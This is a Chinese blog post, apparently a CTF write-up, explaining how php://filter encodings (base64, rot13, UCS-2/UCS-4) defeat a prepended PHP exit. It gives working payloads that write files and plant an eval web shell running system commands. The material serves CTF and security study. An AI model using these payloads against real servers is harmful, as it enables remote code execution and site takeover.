php filter协议使用方法
作者:偶尔躲躲乌云334 发布时间:2023-05-29 19:36:40
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_POST['content'];
file_put_contents($_GET['filename'], "<?php exit; ?>".$content);
?>
base64加密
看文章的时候看到这样的一个代码,发现我们往文件中写入的时候,肯定会执行<?php exit;?>,可是这样就直接退出了就不能执行我们后面的命令,所以我们要想办法去绕过,或者说不执行这个exit
这道题,可控点有两个 filename 和 content,先直接给出payload ,然后解析
GET:?filename=php://filter/convert.base64-decode/resource=shell.php
POST:content=PD9waHAgcGhwaW5mbygpOz8+
上面的POST段为<?php phpinfo();?>加密段
看完大佬的文章理解:
base64只对64个字符解密,那如果不是64个字符中的,会直接忽略不计
并且base64中的字符,是要求是4个字节的倍数,如果实在不行则=补齐
随便输入一个都是4字节的倍数
<?php exit; ?>这个数据是固定的,而< > ; ?是64以外的字符,解码时会忽略,我们需要考虑的就是phpexit(空格不需要考虑),因为是4的倍数,如果在最后面系统自动加上=号的话,就改变了我们期望的值,所以需要我们手动进行修改,这时候我们可以在前面随便添加一个数据,让它与phpexit组合起来,成为一个乱码,不会影响后面的执行。
还有一道就是最近遇到的一道题目,和上面的思路差不多
eval("#".$_GET['flag]);
这个#影响了我后面get传参,不能进行命令执行
所以我的思路也是想如何绕过#,或者删除了它
可是,当时想了很久都没有想出来,还是大佬的提醒点了我一下
这既然是php里面的命令,我们完全可以把前面的闭合掉,然后自己再插入一句话木马
cmd=?><?php eval($_POST['shell']);
shell=system('ls /');进行这样的操作获得flag等等,当时脑袋瓦特了想不起来
rot13编码绕过
rot13编码的本质就是将字母左移13位。
如:<?php phpinfo();>
经过rot13编码后这样:<?cuc cucvasb();?>
用在php://filter
中的话格式大概为这样
php://filter/string.rot13/resource=文件名
这样的话上面的题目,用rot13绕过前面的 exit就会转成别的东西,而我们输入的则最后还是那串执行代码,这样也就可以绕过了
结果非常清楚,前面exit被认为是加密解密成这样,后面我们事先加了密,所以抵消,还是原来的
加强绕过exit
<?php
highlight_file(__FILE__);
error_reporting(0);
$content = $_GET['content'];
file_put_contents($content, "<?php exit();".$content);
代码换成了这样,好比上面让你叠飞机下面让你造飞机(-0-)
显而易见,只有content这一个传参点了
这种就是加了一个write直接写入文件,然后红色部分/可以换成别的管道符,只要和rot13隔开就行
convert.iconv.
1.usc-2
这个编码就是2个为一组交换字符的位置(空格也会交换)
为什么我们可以把filter直接写入,因为写入以后只有我们输入的一句话木马会被执行,别的就相当于乱码一样
2.usc-4
就是换成了4个字符一组交换
总结:我们的思路其实都是相同的,通过某一个手段把exit绕过,然后执行我们的命令,其实就是用一些编码的特性,base64 rot13 usc-2 usc-4,都会把exit变成别的乱码一般。
来源:https://blog.csdn.net/qq_62046696/article/details/127029332
猜你喜欢
- 所以呢,在引用js文档的时候,要设置被引用的文档是什么编码的。 如:一个utf-8的页面引用一个gb2312的js文档,那么就要这么写 &l
- python程序运行中,可由程序抛出异常。异常触发:使用raise命令抛出异常,即可使用异常基类Exception,也可使用自定义异常类(继
- 假如你拥有一个庞大的网站,内容又多,那么来访者往往很难找到自己所需要的东东,这时候你就需要一个站内搜索来帮助来访者更快的找到索要的资料了!现
- 前言众所周知在java或php等很多面向对象的语言中, 异常处理是依靠throw、catch来进行的。在go语言中,panic和recove
- 一、js中导致undefined的几种情况:1、变量声明过但没有赋值;2、获取对象中不存在的属性时;3、函数需要实参,但是调用时没有传参,形
- tensorlfow网络模型可视化。baidu了一些方法,现在介绍下我的流程和遇到的问题:配置window7tensorlfow1.5ana
- Pycharm运行时总是跳出Python Console最近运行程序的时候发现,每次点击运行之后,都是出现的Python Console。最
- 举例如下,一个服务器端的form 代码自动被解释成客户端代码:服务器端代码: &l
- 表单是让用户与我们的网页应用程序交互的基本元素。Flask 本身并不会帮助我们处理表单,但是 Flask-WTF 扩展让我们在我们的 Fla
- javascript代码编写在页面中实现页内搜索功能,类似Word等文本编辑软件里的搜索功能,只要是页面中的字符(别管是显在的还是隐蔽在文本
- 为什么需要线程池呢? 设想一下,如果我们使用有任务就开启
- 在我们爬虫的时候经常会遇到验证码,新浪微博的验证码是四宫格形式。可以采用模板验证码的破解方式,也就是把所有验证码的情况全部列出来,然后拿验证
- 一、背景实际工作中会有一些耗时的异步任务需要使用定时调度,比如发送邮件,拉取数据,执行定时脚本通过celery 实现调度主要思想是 通过引入
- 在前面的文章中介绍了如何用Python读写Excel数据,今天再介绍一下如何用Python修改Excel数据。需要用到xlutils模块。下
- 问:如何在SQL Enterprise Manager version 6.5下操作SQL Server 6.0的服务器?答:在使用SQL
- python在安装的时候,就自带了很多模块,我们把这些模块称之为标准库,其中,有一个是使用频率比较高的,就是 os 。这个库中方法和属性众多
- 前言我们实战经常会遇到以下几个问题:1、遇到一个利用步骤十分繁琐的漏洞,中间错一步就无法利用2、挖到一个通用漏洞,想要批量刷洞小赚一波,但手
- Flappy Bird是前段时间(好像一年or两年前....)特别火的有一个小游戏,相信大家都玩过。Flappy Bird操作简单,通过点击
- 我们在切换选项卡的时候,如果使用的是ajax技术,会碰到如下情况:点击tab1选项,服务器发出一个Ajax请求获取该选项tab1的内容数据。
- 本案例使用 Jupyter Notebook进行案例演示,数据集为NBA球员信息数据集。本项目将进行完整的数据分析演示。1. 数据介绍数据集